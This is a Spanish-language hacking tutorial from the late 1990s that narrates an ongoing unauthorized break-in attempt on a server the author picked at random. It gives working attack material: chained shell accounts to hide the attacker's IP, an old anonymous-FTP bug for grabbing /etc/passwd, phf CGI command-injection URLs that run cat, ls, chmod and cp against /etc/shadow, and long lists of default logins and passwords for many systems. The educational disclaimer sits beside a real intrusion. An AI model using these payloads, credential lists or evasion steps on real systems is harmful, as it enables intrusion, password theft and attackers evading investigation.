 |

ATAQUES BASICOS
Queridos lectores, Este Texto es
para que Miren como Se hacen los ataques basicos de algunos script
kiddies o los grandes Estupidos, llamados Lammers.
Nota: Que los lammers no son los
Newbies, Los newbies son los que les gustaria aprender sin hacer
ningun daño
Este texto Es educativo Solamente. No Somos responsables con ningun
acto que Vallas a hacer por este texto.
1.-Ser o no ser hacker esa es la
Pregunta. Primero que nada tienes que entender que ser hacker no es
una moda , Hoy en dia todos se creen hackers .. cuando no les
alcanza ni para ... no se. lamers suena muy feo ... es mejor
declararse novato que es mas facil ; como yo .. soy solo un
novatillo ... si haces hacking , no lo andes divulgando en todo el
canal #lamers de irc , mejor guarda silencio y si no te aguantas las
ganas , comentaselo solo a tus mas cercanos amigos ... . Si trabajas
o estudias , etc.. trata que tus compañeros no sospechen de ti ...
trata de no tener fama de hacker ni de nada , no cometas el error
que cometi,. yo . Donde trabajo ya tengo fama y cualquier cosa que
pase yo voy a ser el primer blanco (aunque no tenga nada que ver en
el asunto :-) .
2.- Antes de andar practicando el
hacking por ahi debes saber que tienes que cuidarte , ya sabes por
que , de lo contrario leete las actualidades y sabras porque de
debes cuidar tu trasero . Bueno trataremos de mostrar algunas formas
de encubrirte .. . es decir que tu ip no aparezca en ningun lado .
Pues es esa ip la que te delatara .
3.- No dañar sistemas ajenos ... si
logras entrar a un server ajeno y logras tener Root no lo dañes ni
modifiques , es un delito , recuerda que hacemos esto para probar el
servidor, buscar en el sobre los bugs y exploits y contactar al
administrador si lo quieres ayudar o si no limpiarse las manos y
salir sin hacer NADA.ES como la pesca deportiva luchamos por pescar
un hermoso ejemplar ... le sacamos una foto y lo dejamos ir .
4.- Cepillate los dientes y lavate
el potito antes de ir a dormir
Esta es la narración de un hack
bastante simple que estoy llevando acabo en estos momentos , la
verdad es que aun no tengo Root en la maquina pero en eso estoy - La
verdad voy hablar de este hack por lo simple y facil que ha sido
encontrar la información y encontrar la entrada a este server .
Se me ocurrio visitar varios web en
internet , hasta encontrar algo interesante hasta que llegue a uno
bastante peculiar , tenia pinta de ser algo asi como una red de
mafiosos o traficantes , no se , algo por el estilo asi que no
encontre algo mejor que averiguar un par de cositas de este server
asi que manos a la obra .
SCANEANDO PUERTOS .
----------------------------------------------------
Tome mi guindoze , y lo primero que hize fue hacerle un portscan (en
castellano un sorfeo a los puertos) es decir para los menos metidos
en el tema. Saber que servicios estan abiertos en el servidor
ejemplo. FTP , telnet , sendmail , http , etc... bueno aki les va
una lista que esta en casi todos los articulos sobre hacking , que
definen los puertos y sus servicios .
LISTADO DE PUERTOS
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbsession 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
passwd_server 752/udp # Kerberos passwd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment passing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp
Se parece al archivo services de windows.
Ahora como scanear puertos, simple la forma primitiva es hacerle un
telnet a diferentes puertos .
ejmplos :
telnet victima.com 23 ----->> si te responde preguntandote un
login
quiere decir que tiene el telnet abierto .
telnet victima.com 25 ----->> Si te responde algo como lo
siguiente
220-Session protected by McAfee WebShield
220 Victima Sendmail SMI-8.x/SMI-SVR5 ready at Thu, 24 May 1998
17:52:01 -0400
tiene el STMP abierto .
telnet victima.com 79 ------>> Si queda en blanco un rato y no
te bota
dale un enter y deberia salir algo como :
root pts/0 May 24 09:21 (xxx.xxx.xxx.xx)
root pts/1 May 24 12:30 ([email protected])
esto significa que tiene el puerto de finger abiert .. el cual nos
puede
proporcionar mucha información como el login ,, en este caso root .
ademas de algn correo en incluso la direccion ip como en el primer
caso .
Abre una ventana dos y digita:
ftp vicitma.com
Connected to victima.com.
220 victima.com Microsoft FTP Service (Version 3.0).
User:
lo mismo que los otros este es le puerto 21 . de un server nt .
La segunda forma , mucho mas facil
de hacer es con un portscan , hay muchos en internet , de hecho el
hackers utility trae uno , yo ocupo el haktek , pero si eres novato
en el tema seria mejor que probaras por primera vez con el telnet
para que conozcas el funcionamieto del asunto . Si utilizas un
portscan te daran los resultados de que puertos tiene abiertos .
Teniendo esa información sabremos por donde empezar .. Bueno mi
haktek me da los siguientes resultados.
port 21 found. Desc='ftp'
port 23 found. Desc='telnet'
port 25 found. Desc='smtp'
port 53 found. Desc='domain/names'
port 79 found. Desc='finger'
port 80 found. Desc='www'
port 106 found.
port 109 found.Desc='pop'
port 110 found. Desc='pop3'
EMPIEZA LA ACCION
-----------------------------------------------------
Mmm interesante tiene el puerto 79
abierto cosa poco usual en estos dias , vamos a ver quien esta
conectado le haremos un finger , programa no incluido en Guindoze
pero lo podemos hacer haciendo un telnet al puerto 79 ahora si te
bajaste el haktek desde nuestra web .. solo presiona los binoculares
que estan abajo , el ultimo icono y listo .
los resultados fueron los siguientes :
login name tty Idle When Where
root Gato Juanito p0 4:19 sat 14:41 xxx.xxx.xxx.x
root Epidemia p1 31 wed 14:16 [email protected]
Oki aki tenemos los primeros
resultados , a sabemos un login ROOT llevamos la mitad hecha ahora
falta la password jejej . En otros sistemas pueden haber mas
usuarios se puede alargar bastante esta lista y por la misma razon ,
entre mas usuarios conectados mas login tenemos y mas posibilidades
de encontrar algun usuario despistado que tenga paswords faciles .
Al tener el nombre de los usuarios no seria mala idea probar con las
abreviaciones de los nombres . ejemplo
login : root
password: gjuanito
entonces probemos pero tenemos que cuidarnos , ya saben ocultar
nuestra ip si tienes cuentas shell en algun lado seria conveniente
hacer lo siguiente conectarnos con condon ... jejej en estos dias
nadie sabe .
telnet condon1.com
Welcome to condon1.com
login :tulogin
password : tupassword
bla bla bla
>telnet condon2.com
Welcome to condon2.com
login: tu login
password: tu password
bla bla bla de nuevo ....
>telnet victima.com
ahora que estamos haciendo .. simple
, la ip que quedara impresa en el log de la victima sera la del
condon2 entonces si el root quiere averiguar quien intento entrar en
su server le tendra que preguntar al admin del condon2 , si el
condon2 queda en japon va ser dificil que el admin de la victima
vaya a esos lares a preguntarle o no ??:-) , pero si lo hiciera el
admin del condon2 le daria la ip del condon1 , entienden la idea ..
jeje entrete ... ahora si no tienes cuentas shell anota ..
www.teldit.com desde este servidor puedes hacer telnet a travez del
navegador a travez de un applet java y utiliza la ip de ese server
(nota.- Si eres administrador de algun server o tienes cuenta shell
y no quieres que nadie se entere de tu password no uses el teledit ,
lo mas probable es que este applet pueda ser modifcado de tal forma
que guarde un log del server al cual te conectas e incluso las
claves , una gran base de datos para los hackers
hacemos telnet entonces y nos dice
lo siguiente .
Welcome to Victima.com estamos esperando a que nos
hackees . como soy buen administrador y me encantan
los hackers les he dejado abierto el telnet
para que entren en mi sistema
happy hacking .
UNIX(r) System V Release 4.0
Login:root
password:********* ------>>jperez
login incorrect .
mmm bueno seguimos probando con lo
que nos queda si tenemos suerte (tendria que ser mucha) entraremos
al sistema . A mi por lo menos no me resulto asi que me fui al ftp a
ver que encontraba ... es simple normalmente todos los ftp usan el
user anonymous como login y password cualquiera , yo uso guest .. de
hecho tu navegado cada vez que te conectas a un sitio ftp o bajas
algun software via ftp , registra esta cuenta y usa como password tu
e-mail , que malo , es por eso que despues te llegan correos desde
esos server ofreciendote servicios ya que tu navegador les dices
quien eres ,, pero bueno ese es otro cuento para otro articulo .
abres una ventana dos y digitas ..
ftp victima.com
Connected to victima.com.
220-Session protected by McAfee WebShield
220 victima FTP server (UNIX(r) System V Release 4.0) ready.
User (xxxxxxxx:(none)): anonymous
530 User anonymous unknown.
Login failed.
shit .. tienen el anonymous desactivado ... no podre intrusear en su
ftp ... pero si tu entreaste con la cuenta anonymous haz lo
siguiente .
230 Guest login ok, access restrictions apply.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
bin
usr
etc
pub
dev
226 Transfer complete.
44 bytes received in 0.00 seconds (44000.00 Kbytes/sec)
ftp> cd etc
250 CWD command successful.
ftp> ls -a
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
..
group
netconfig
passwd
passwd.bak
226 Transfer complete.
45 bytes received in 0.00 seconds (45000.00 Kbytes/sec)
ftp> get
(remote-file) passwd
(local-file) c:\tudirectorio\passwd
200 PORT command successful.
150 Opening ASCII mode data connection for passwd (222 bytes).
226 Transfer complete.
227 bytes received in 0.00 seconds (227000.00 Kbytes/sec)
ftp>by
Ahora si no pudiste ver el archivo
passwd o shadow , o no te dejo conectarte prueba este viejo bug a
ver si resulta .
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
Una vez adentro bajas el archivo
passwd o shadow .... este es un bug muy viejo de hecho personalmente
jamas me he encontrado con algún server que me lo permita ... paro
quien sabe .. ???
JUGANDO CON EL PHF .
---------------------------------------------------
El phf , si se que esta mas que
visto , que es super antiguo pero aunque ustedes no lo crean
funciona . Solo podemos probarlo en sistemas que corran bajo unix y
que tengan el cgi-bin activo ..
El phf es un fichero que funciona
como uan especie de busqueda de datos pero que podemos utilizar
facilmente para ejecutar programas , ver archivos etc ...
partamos por lo basico veamos que
sucede ....
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
( 1 )( 2 )( 3 )( 4 )( 5 )( 6 )
1.- El site que quieras atacar.
2.- El comando phf.
3.- Aqui es donde esta el secreto.
4.- El programa que quieres que se ejecute en este caso cat (como un
edit).
5.- El %20 es un espacio, y se pueden usar tantos como te hagan
falta.
6.- Y pues aqui va el archivo o directorio que quieres ver.
Con este comando deberiamos estar editando el fichero passwd
el resultado que aparecera en nuestro navegador fue el siguiente .
Query Results
/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd
Mierda no funciona , al intentar con
shadow en vez de passwd tampoco me da resultado ... pero algo
interesante sucede .. hizo el query . veamos que hay en el etc .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/etc
fijense que esta vez cambie el comando cat por ls , que es como el
dir en unix direccionado al subdir etc . veamos que sucede .
Query Results
/usr/local/bin/ph -m alias=x /bin/ls /etc
TIMEZONE
a
acct
passwd
shadow
hosts
mail
net
sercurity -------->>>> Osea? ---<> insecurity .---
..
..
..
muchos ficheros mas .
Esto se pone demasiado interesante , pero ahora debo averiguar el
por que no pude editar el shadow .. que ya sabemos que es ese el
fichero que debo tomar por que lo vimos en el directorio .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/hosts
Query Results
/usr/local/bin/ph -m alias=x /bin/cat /etc/hosts
#
# Sun Host Database
#
# If the NIS is running, this file is only consulted when booting
#
127.0.0.1 localhost
#
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com
xxx.xx.xxx.xx algunweb.com
MMMmmmmm pudmos editar el hosts , eso quiere decir que le comando
cat
esta perfecto , que puede haber un problema de permisos , talvez
solo
el root puede editar estos archivos , averiguemoslo ...
http://www.vicitma.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/shadow
Aqui le hacemos un ls -l al fichero shadow el -l nos mostrara
los permisos del archivo ..
Query Results
/usr/local/bin/ph -m alias=x /bin/ls -l /etc/shadow
-r-------- 1 0 sys 27348 May 20 15:38 /etc/shadow
AHora se que es un archivo pero me dice por la r que es un archivo
de lectura que solo lo puede leer el propietaro de este archivo , en
este caso el sys o sea el systema . Ahora voy a a tratar de explicar
la forma con la cual saque esta conclusión ...
aki va un ejemplo ...
-rwx--xr-x 1 0 sys 27348 May 20 15:38 /etc/shadow
si te fijas en la figura te daras cuenta que hay una linea de 10
espacios "-rwx--xr-x" la caual el primer caracter nos
indica que es , directorio , archivo.. etc.. ver caudro 1 .-
cuadro 1 .-
************************************************************************
El primer '-' significa que es un archivo normal, ya que si fuese un
directorio dicho '-' nos lo representaria por 'd', si fuese un
enlace mediante 'l', 'b' significaria que es un dispositivo especial
de bloques, 'c' un dispositivo especial de caracteres,'p' un archivo
de conduccion por nombre, 's' un semaforo y 'm' nos indicaria que es
un archivo de memoria compartida.
*************************************************************************Este
cuadro de texto es gentileza de JJF/Hackers Team
Los siguientes tres caracteres "rwx" nos indican los
permisos del propietario del archivo en este caso el systema o SYS ,
cuyos permisos son r "lectura" w "escritura" x
"ejecución" . Los caracteres siguientes "--X"
son los derechos que tiene el grupo al cual pertence el propietario
en este caso x "ejecución". Y los ultimos 3 caracteres
indican los derechos del resto de los usuarios "r-x" que
en este caso son de lectura y ejecución .Se entiende ? espero que
si ... vamos entonces a tratar de cambiar los derechos de este
archivo .
************************************************************************
La principal caracteristica que tiene esta nomenclatura es la de
asignar los permisos mediante valores octales.
Como todos sabreis, la base octal, o base 8, puede contener de los
numeros 0 al 7. Es por ello, que tan solo son validos estos numeros
a la
hora de asignar permisos. Fijate en el siguiente cuadro:
Fig 1. Permiso Valor_Octal
------------------------------
r | lectura 4
w | escritura 2
x | ejecucion 1
Claramente observamos que numero
octal corresponde a cada caracteristica de un archivo o directorio
en un sistema UNIX. Pasemos pues a poner en uso todo lo aprendido
hasta ahora.
Como dijimos antes el comando utilizado por los S.O UNIX para
establecer permisos recibe el nombre de chmod. A la hora de dar
permisos en forma absoluta hemos de seguir la siguiente Sintaxis:
'chmod XYZ archivo'.
X representa al due¤o del archivo, Y al grupo y Z al resto de
usuarios, mientras que 'archivo' es el nombre del archivo a
especificar los permisos. Siempre que queramos atribuir mas de un
permiso los numeros octales se sumaran
************************************************************************
Este cuadro de texto es gentileza de JJF/Hackers Team
Es decir que si queremos darle permiso de lectura escritura y
ejecución al archivo sahdow el comando a ejecutar seria el
siguiente :
chmod 407 shadow
Con este comando no el archivo quedara con los siguientes atributos
.
-r-----rwx 1 0 sys 27348 May 20 15:38 /etc/shadow
Lo cual nos indica que el propietario del archivo tiene acceso solo
a la lectura del archivo , el grupo querda sin ningun derecho sobre
el archivo mientras el resto de los usuarios pueden leerlo ,
escribirlo y ejecutarlo .
Veamos la parte practica , aunque lo veo dificil ya que habiamos
visto que el archivo solo lo podía leer el systema , cosa que
solamente el root podía variar , es decir el comando chmod solo
tendria efecto en este archivo si fuese el Root el que lo ejecutara
, pero sigamos probando quien sabe ??
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/chmod%20407%20/etc/shadow
Query Results
/usr/local/bin/ph -m alias=x /bin/chmod 407 /etc/shadow
Veamos que sucedió ............:-)
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/shadow
Query Results
/usr/local/bin/ph -m alias=x /bin/ls -l /etc/shadow
-r-------- 1 0 sys 27348 May 20 15:38 /etc/shadow
Nada , bueno me lo imaginaba .... que lata ...
Probemos la siguiente técnica , trataremos de copiar el archivo a
otro
a ver que pasa .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cp%20/etc/shadow%20/etc/pass.txt
Query Results
/usr/local/bin/ph -m alias=x /bin/cp /etc/shadow /etc/pass.txt
Bueno aki lo que tratamos de hacer es copiar el shadow a un archivo
llamado pass.txt
veremos que pasa .
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20/etc/pass.txt
Query Results
/usr/local/bin/ph -m alias=x /bin/ls -l /etc/pass.txt
Fuck , no fue posible no pudimos copiarlo .. que lata ..
Bueno que importa .. trataremos de buscar otros metodos , pero
aprovechando esta falla podemos ver los directorios , los archivos
etc.. , las posibilidades son infinitas .
Bueno busquemos otra tecnica de entrar al sistema ..
FUERZA BRUTA
***********************************************************************
Esta técnica es mas que basica pero funciona , se trata de utilizar
las cuentas default que trAen los sitemas , es decir ; Normalmente
los sistemas traen cuentas que vienen por defecto , como el
usr_template o guest en novell , o el guest de windows NT . . Aki va
un listado de cuentas default de diferentes sistemas .
Cuentas por defecto
-------------------
AIX
~~~
guest guest
AS/400
~~~~~~
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qsvr qsvr
secofr secofr
DECserver
~~~~~~~~~
ACCESS
SYSTEM
HP-x000
~~~~~~~
Este sistema es elaborado por Hewlett-Packard. Se caracteriza por el
prompt ":". La secuencia de entrada a este sistema es una
de las m s complicadas. Debes escribir: "HELLO SESSION
NOMBRE,USUARIO,NOMBRE-DE-CUENTA,GRUPO" Afortunadamente algunos
de esos campos pueden dejarse en blanco. En ocasiones todos los
campos est n protegidos con passwords por lo que este sistema no es
uno de los m s faciles de acceder.
Las cuentas defaults comunes son:
Login User
~~~~~ ~~~~
MGR.TELESUP,PUB MGR
Acct: HPONLYG rp: PUB
MGR.HPOFFICE,PUB
FIELD.SUPPORT,PUB FLD,
MAIL.TELESUP,PUB MAIL,
MGR.RJE
FIELD.HPP189 ,HPP187,HPP189,HPP196
MGR.TELESUP,PUB,HPONLY,HP3
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER
Major BBS
~~~~~~~~~
Sysop Sysop
PICK O/S
~~~~~~~~
DSA
DS
DESQUETOP
PHANTOM
Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP null
Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer
PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin sysadmin
tech tech
poll tech
RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
MICRO/RSX
System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field
Taco Bell
~~~~~~~~~
rgm rollout
tacobell null
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816
VMS
~~~
La computadora VAX es creada por Digital Equipment Corporation (DEC)
y corre el sistema operativo VMS (virtual memory system). VMS se
caracteriza por su prompt 'Username:'. Este sistema no te dir si has
entrado un login correcto o no y te desconectar despu‚s de tres
malos intentos. Tambi‚n mantiene un record de todos los logins que
fallaron e informa al due¤o de la cuenta la pr¢xima vez que entre
cuantos intentos fallados se hicieron. Es uno de los sistemas m s
seguros desde fuera pero ya dentro tiene varios errores en la
seguridad. Las VAX ademas tienen uno de los mejores archivos de
ayuda de entre los dem s sistemas, para acceder a esta ayuda s¢lo
escribe HELP en el prompt.
Las cuentas defaults comunes son: [ usuario: password [,password] ]
Login Password
~~~~~ ~~~~~~~~
decnet decnet
demo
demo demo
field field
field service
guest
guest guest
operator operator
sysmaint digital
sysmaint service
sysmaint sysmaint
system manager
system operator
system syslib
system system
systest uetp
UNIX
~~~~
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
adm adm
adm admin
admin adm
admin admin
bin bin
daemon daemon
decnet ddennet
decnet nonpriv
default user
demo demo
field digital
field service
field test
games games
games player
guest friend
guest guest
guest welcome
host host
learn learn
netnonpriv nonpriv
nuucp nuucp
postmaster mail
rje rje
root root
root sysop
root system
sys sys
sys system
sysop sysop
sysman sys
sysman sysman
sysman system
sysadmin adm
sysadmin admin
sysadmin sys
sysadmin sysadmin
sysadmin system
sysbin sysbin
sysmaint digital
sysmaint service
system manager
system operator
system syslib
system uetp
systest_clig systest
test test
tty tty
unix test
unix unix
userp user
uucp uucp
uuhost uuhost
who who
PRIME
~~~~~
Esta computadora opera con el sistema operativo Primos. Son f ciles
de detec- tar ya que reciben a uno con el mensaje "Primecon
xx.xx.xx" o algo parecido dependiendo de la versi¢n que te
encuentres. Usualmente no ofrecen ning£n prompt as¡ que debes
escribir "login usuario". Si la versi¢n es anterior a la
18.00.00 puedes presionar un mont¢n de caracteres de escape o
CTRL-C y en- trar s. Este sistema ofrece la capacidad de conectarte
a los NUAS de todo el mundo con el comando NETLINK...sintax: nc nua
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
guest guest
guest prime
guest1 guest
netlink netlink
prime prime
prime primos
primos prime
primos primos
primos_cs prime
primos_cs primos
primenet primenet
system prime
system primos
system system
test test
test prime
test primos
DEC-10
~~~~~~
Este es el equipo de c¢mputo m s nuevo que existe dentro de la
linea de DEC's. Operan el sistema operativo TOPS-10. Este tipo de m
quinas se reconocen por el prompt "." Las series DEC-10/20
son amables con los hackers permitiendo varios intentos en el login
prompt sin guardar un log de los intentos fallados. Las cuentas est
n en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad de
obtener informaci¢n sobre las personas en l¡nea antes de entrar a
‚l usando el comando systat. Si ves una cuenta que lea [234,1001]
BOB JONES, ser¡a inteligente probar como password BOB, JONES,
BOBBY, etc. Para entrar al sis- tema se usa el comando: login
xxx,yyy [enter] password:
Este sistema como antes hab¡a dicho, permite intentos sin limite y
adem s te avisa si el login que est s usando existe.
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
1,2 manager 1,2 operator
1,2 syslib
2,7 maintain
5,30 games
IRIS
~~~~
Iris significa (interactive real time information system).
Originalmente corr¡a en PDP-11's, pero ahora corre en otras minis.
Para identificar uno de estos sistemas busca el texto "Welcome
to `IRIS' R9.1.4 Timesharing" y el prompt ACCOUNT ID? (algunas
veces es cambiado). IRIS no tiene limites a la hora de hackear una
cuenta y no guarda un log de los intentos fallados.
Login
~~~~~
accounting
boss
demo
manager
pdp8
pdp11
software
VM/CMS
~~~~~~
Este sistema es ejecutado en las super computadoras de IBM
(International Business Machines) llamadas mainframes. Una vez
conectado a una de estas computadoras te mostrar un mensaje asi
"VM/370 ONLINE", y te dar un prompt "." justo
como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON
Las cuentas defaults comunes son:
Login Password
~~~~~ ~~~~~~~~
autolog1 autolog
autolog1 autolog1
cms cms
cmsbatch cms
cmsbatch cmsbatch
erep erep
maint maint
maint maintain
operatns operatns
operatns operator
operator operator
rscs rscs
smart smart
sna sna
vmtest vmtest
vmutil vmutil
vtam vtam
NOS
~~~
NOS significa Networking Operating System y corre en la Cyber
computadora hecha por Control Data Corp. A este sistema lo puedes
identificar f cilmente por la bienvenida "WELCOME TO THE NOS
SOFTWARE SYSTEM...". El primer prompt que recibir s sera
FAMILY: (presiona enter) depu‚s llegar s a otro prompt USER NAME:
donde cada uno es de 7 digitos alfanumericos y son dependientes del
sistema por lo que no son palabras o frases conocidas.
DECSERVER
~~~~~~~~~
Las DECs son una serie de computadoras conectadas entre s¡ para
formar una s¢la unidad de procesamiento, la funcionalidad de estos
sistemas es altamente utilizado por los hackers para quebrar
passwords de cuentas unix por la rapidez del sistema. El prompt
usualmente sera: "Enter Username>" aunque yo he visto
otros prompts en estos sistemas. El nombre de usuario puede ser
cualquier cosa, lo mejor ser presionar algo nada sospechoso como `c'
o alg£n n£mero. De ah¡ te presentar con el prompt `local>'. De
ah¡ debes ejecutar `c
' para conectarte. Para obtener una lista de sistemas conectados
ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S
existen comandos como MODEM o DIAL que permiten hacer uso de un m¢dem
para llamadas externas que te permitir n marcar a BBS
internacionales a expensas de la compa¤¡a que opera el DEC.
******** Listado extraido del Web de RAREGAZZ
****************************
Bueno nos conectamos a la victima con condon o en ultima instancia a
travez del teledit , despues de tratar con varias cuentas llegue a
lo siguiente :-p .
UNIX(r) Sytem Release 4.0
login:userpordefecto
password:passpordefecto
No directory! login in with home= / etc....
Bingo entre en el sistema ... pero a los segundos me desconecta . No
me da acceso por la
dirección ip , pero es algo simple de solucionar vamos a hacer
ipspoff (falsear ip) para entrar.
UNIX(r) Sytem Release 4.0
login:userpordefecto
password:passpordefecto
login incorrect
Shit nos cacharon , el administrador debe haber notado que trataron
de entrar en su sistema con esa cuenta. Bueno que podemos hacer ..
mmm ya se me ocurre algo en el articulo anterior gracias al finger
pudimos ver la direccion ip del root , eso significa que podemos
chequear si podemos conectarnos a su maquina .. mmm veremos que
podemos hacer .
Hacemos un escaneo de puertos a la direccion ip del Root , si es que
podemos jejeje .- Manos a la obra .-
El primer paso es saber si el Root esta conectado a Inet o que no
este dentro de una red interna de tal forma que podamos conectarnos
a este ,..,, de lo contrario estamos fritos ... veamos .. hacemos
entonces un ping a la direcciòn ip del Root .-
C:\WINDOWS>ping iproot
Pinging xxx.xx.xxx.xx with 32 bytes of data:
Reply from xxx.xx.xxx.xx: bytes=32 time=562ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=431ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=1001ms TTL=46
Reply from xxx.xx.xxx.xx: bytes=32 time=351ms TTL=46
Excelente .. el root esta conectado directamente a inet sin la
utilizaciòn
de ningun proxy server
.. y al parecer sin estar detras de algun firewall .. esperemos .
Ahora tomamos nuestro programa escaneador de puertos y observemos
que nos depara el destino .... el resultado fue el siguiente .-
port 21 found. Desc='ftp'
port 23 found. Desc='telnet'
port 25 found. Desc='smtp'
port 37 found. Desc='time'
